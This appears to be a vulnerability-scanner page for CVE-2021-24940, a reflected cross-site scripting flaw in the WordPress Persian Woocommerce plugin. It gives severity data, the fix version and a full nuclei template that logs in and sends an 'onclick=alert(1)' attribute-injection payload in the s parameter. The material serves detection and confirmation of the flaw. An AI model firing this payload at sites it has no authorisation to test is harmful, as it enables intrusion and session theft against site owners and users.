WordPress Persian Woocommerce <=5.8.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.4%likelihood of exploitation, next 30 days

74%of all CVEs are less likely

Readycheck to confirm it

WordPress Persian Woocommerce plugin through 5.8.0 contains a cross-site scripting vulnerability. The plugin does not escape the s parameter before outputting it back in an attribute in the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and possibly steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Fixed in 5.9.8.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=persian-wc&s=xxxxx%22+accesskey%3DX+onclick%3Dalert%281%29+test%3D%22
Positive when: contains(header_2, "text/html") and status_code_2 == 200 and contains(body_2, 'accesskey=X onclick=alert(1) test=') and contains(body_2, 'woocommerce_persian_translate')

Run it with nuclei: nuclei -id CVE-2021-24940 -u <target>

The full check

id: CVE-2021-24940

info:
  name: WordPress Persian Woocommerce <=5.8.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: |
    WordPress Persian Woocommerce plugin through 5.8.0 contains a cross-site scripting vulnerability. The plugin does not escape the s parameter before outputting it back in an attribute in the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and possibly steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in 5.9.8.
  reference:
    - https://wpscan.com/vulnerability/1980c5ca-447d-4875-b542-9212cc7ff77f
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24940
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24940
    cwe-id: CWE-79
    epss-score: 0.01439
    epss-percentile: 0.7339
    cpe: cpe:2.3:a:woocommerce:persian-woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: woocommerce
    product: persian-woocommerce
    framework: wordpress
  tags: cve2021,cve,wp,xss,authenticated,wpscan,wordpress,wp-plugin,woocommerce,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=persian-wc&s=xxxxx%22+accesskey%3DX+onclick%3Dalert%281%29+test%3D%22 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains(header_2, "text/html")
          - status_code_2 == 200
          - contains(body_2, 'accesskey=X onclick=alert(1) test=')
          - contains(body_2, 'woocommerce_persian_translate')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from